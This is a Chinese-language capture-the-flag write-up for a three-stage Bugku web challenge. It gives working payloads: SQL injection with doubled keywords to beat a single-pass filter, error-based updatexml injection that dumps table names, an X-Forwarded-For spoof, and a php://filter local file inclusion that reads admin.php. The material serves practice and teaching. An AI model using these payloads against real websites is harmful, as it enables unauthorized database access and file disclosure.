这道题比较有意思,涉及到的知识点也比较多,单独拿出来记录一下吧。
原题:https://ctf.bugku.com/challenges#%E5%A4%9A%E6%AC%A1
第一关
1. 找注入点
进去后只有一句话。首先先找注入点。发现URL有一个id=1,猜想这里会有注入点。加个单引号,果然报错了。说明这里存在注入点。
2. 判断过滤
这里返回只有两种情况,所以可以用以下语句判断过滤:
?id=1'^(length('union')>0)%23
这里后面用 "#" 的话无法注入,可能是哪里过滤了 “#” 号。
这里是通过异或来判断真假。这里如果不报错的话就说明里面的字符串被过滤了。
经过检测发现 select
, union
, or
, and
都被过滤了。并且这里的过滤是直接替换为空。
3. 注入
既然如此,就可以通过特殊的方法来绕过。比如:oorr
就可以绕过这种检测一次的过滤。下面就是常规的注入过程啦(记得绕过过滤)。直接给最后结果吧:
id=%27 ununionion seselectlect 1,flag1 from flag1%23
select 出来一个flag。但是里面还有一个address,查看可以得到第二关的地址。
第二关
和上一关一样的检测方法。查出来union被过滤了。但是上一关的绕过方法用不了了。这里利用的是基于报错的updatexml注入。
首先先了解一下updatexml:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
Payload:
/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
这里提交的是~sql语句~,是不符合xml格式的,所以会报错。报错会造成 select group_concat(table_name) from information_schema.tables where table_schema=database()
语句的执行,所以可以注入。
此时回显:
My Id =1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
Nobody!
XPATH syntax error: '~class,flag2~'
接下来就是常规的注入啦~
第三关
第二关拿到flag就可以过了。但是既然还有第三关那当然要看看啦。
提示要用特定的IP访问,那就修改XFF头来绕过,得到一个二维码。扫描后得到:
你……你……你可以看到我?
好吧,我来自于ErWeiMa.php
顺便告诉你两个密码
one:参数名是game;
tow:flag在admin里
对了,文件后@…c=Y&$as%_=#*ad…*@#!*&@…c……
既然如此,那就构造payload:
/Have_Fun.php/?game=php://filter/convert.base64-encode/resource=admin.php
得到flag。